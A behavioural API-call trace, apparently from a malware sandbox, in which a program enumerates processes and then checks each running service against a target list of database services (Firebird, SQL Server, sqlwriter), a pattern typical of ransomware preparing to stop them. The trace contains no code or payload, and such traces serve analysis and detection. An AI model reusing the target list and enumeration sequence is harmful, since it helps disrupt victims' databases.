	[0043.534] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0043.534] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0043.535] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0043.535] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0043.535] lstrlenW (lpString="explorer.exe") returned 12
	[0043.535] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0043.536] lstrlenW (lpString="Memory Compression") returned 18
	[0043.536] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0043.537] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0043.537] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0043.537] lstrlenW (lpString="SearchUI.exe") returned 12
	[0043.537] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0043.538] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0043.538] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0043.539] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0043.539] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0043.539] lstrlenW (lpString="taskhostw.exe") returned 13
	[0043.539] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0043.540] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0043.540] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0043.541] lstrlenW (lpString="UsoClient.exe") returned 13
	[0043.541] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0043.541] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0043.541] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0043.763] lstrlenW (lpString="taskhostw.exe") returned 13
	[0043.764] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0043.764] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0043.765] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0043.765] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0043.765] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0043.766] lstrlenW (lpString="msoia.exe") returned 9
	[0043.766] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0043.766] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0043.767] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0043.767] lstrlenW (lpString="msoia.exe") returned 9
	[0043.767] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="roof.exe")) returned 1
	[0043.768] lstrlenW (lpString="roof.exe") returned 8
	[0043.768] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="minority-weird-increases.exe")) returned 1
	[0043.768] lstrlenW (lpString="minority-weird-increases.exe") returned 28
	[0043.768] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="halloween_french_yugoslavia.exe")) returned 1
	[0043.769] lstrlenW (lpString="halloween_french_yugoslavia.exe") returned 31
	[0043.769] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1
	[0043.770] lstrlenW (lpString="cause.exe") returned 9
	[0043.770] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="occasionstax.exe")) returned 1
	[0043.771] lstrlenW (lpString="occasionstax.exe") returned 16
	[0043.771] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="distributors.exe")) returned 1
	[0043.771] lstrlenW (lpString="distributors.exe") returned 16
	[0043.771] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="month utilities transmit.exe")) returned 1
	[0043.772] lstrlenW (lpString="month utilities transmit.exe") returned 28
	[0043.772] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rand.exe")) returned 1
	[0043.773] lstrlenW (lpString="rand.exe") returned 8
	[0043.773] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikely.exe")) returned 1
	[0043.773] lstrlenW (lpString="unlikely.exe") returned 12
	[0043.773] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forever_adipex_transcript.exe")) returned 1
	[0043.774] lstrlenW (lpString="forever_adipex_transcript.exe") returned 29
	[0043.774] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion.exe")) returned 1
	[0043.775] lstrlenW (lpString="promotion.exe") returned 13
	[0043.775] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upset-vt-promoting.exe")) returned 1
	[0043.775] lstrlenW (lpString="upset-vt-promoting.exe") returned 22
	[0043.776] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charlie_sperm_new.exe")) returned 1
	[0043.776] lstrlenW (lpString="charlie_sperm_new.exe") returned 21
	[0043.789] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cagesymbol.exe")) returned 1
	[0043.790] lstrlenW (lpString="cagesymbol.exe") returned 14
	[0043.790] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bad-length.exe")) returned 1
	[0043.791] lstrlenW (lpString="bad-length.exe") returned 14
	[0043.791] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unit.exe")) returned 1
	[0043.792] lstrlenW (lpString="unit.exe") returned 8
	[0043.792] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="parents.exe")) returned 1
	[0043.793] lstrlenW (lpString="parents.exe") returned 11
	[0043.793] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charge.exe")) returned 1
	[0043.794] lstrlenW (lpString="charge.exe") returned 10
	[0043.794] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measures-provision.exe")) returned 1
	[0043.795] lstrlenW (lpString="measures-provision.exe") returned 22
	[0043.795] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0043.796] lstrlenW (lpString="dllhost.exe") returned 11
	[0043.796] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0043.796] lstrlenW (lpString="conhost.exe") returned 11
	[0043.796] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0043.797] lstrlenW (lpString="conhost.exe") returned 11
	[0043.797] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0043.798] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0043.798] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0043.799] lstrlenW (lpString="cmd.exe") returned 7
	[0043.799] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0043.800] lstrlenW (lpString="conhost.exe") returned 11
	[0043.800] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0043.801] lstrlenW (lpString="svchost.exe") returned 11
	[0043.801] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0043.801] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0043.801] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xf74, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0043.804] lstrlenW (lpString="conhost.exe") returned 11
	[0043.804] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xf74, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0043.805] CloseHandle (hObject=0x338) returned 1
	[0043.805] Sleep (dwMilliseconds=0x1f4) 
	[0044.592] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x68fd50
	[0044.593] EnumServicesStatusExW (in: hSCManager=0x68fd50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0044.593] GetLastError () returned 0xea
	[0044.593] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1c76) returned 0x6db700
	[0044.594] EnumServicesStatusExW (in: hSCManager=0x68fd50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6db700, cbBufSize=0x1c76, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6db700, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0044.594] CloseServiceHandle (hSCObject=0x68fd50) returned 1
	[0044.594] lstrlenW (lpString="Appinfo") returned 7
	[0044.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0044.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0044.594] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0044.594] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0044.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0044.595] lstrlenW (lpString="AppXSvc") returned 7
	[0044.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0044.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0044.595] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0044.595] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0044.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0044.595] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0044.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0044.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0044.595] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0044.595] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0044.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0044.595] lstrlenW (lpString="Audiosrv") returned 8
	[0044.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0044.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0044.595] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0044.595] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0044.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0044.595] lstrlenW (lpString="BFE") returned 3
	[0044.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0044.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0044.595] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0044.595] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0044.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0044.595] lstrlenW (lpString="BITS") returned 4
	[0044.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0044.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0044.595] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0044.595] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0044.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0044.595] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0044.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0044.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0044.596] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0044.596] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0044.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0044.596] lstrlenW (lpString="CDPSvc") returned 6
	[0044.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0044.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0044.596] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0044.596] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0044.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0044.596] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0044.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0044.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0044.596] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0044.596] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0044.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0044.596] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0044.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0044.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0044.596] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0044.596] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0044.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0044.596] lstrlenW (lpString="CryptSvc") returned 8
	[0044.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0044.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0044.596] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0044.596] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0044.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0044.596] lstrlenW (lpString="DcomLaunch") returned 10
	[0044.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0044.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0044.596] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0044.596] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0044.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0044.596] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0044.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0044.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0044.597] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0044.597] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0044.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0044.597] lstrlenW (lpString="Dhcp") returned 4
	[0044.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0044.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0044.597] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0044.597] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0044.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0044.597] lstrlenW (lpString="Dnscache") returned 8
	[0044.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0044.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0044.597] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0044.597] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0044.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0044.597] lstrlenW (lpString="DoSvc") returned 5
	[0044.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0044.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0044.597] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
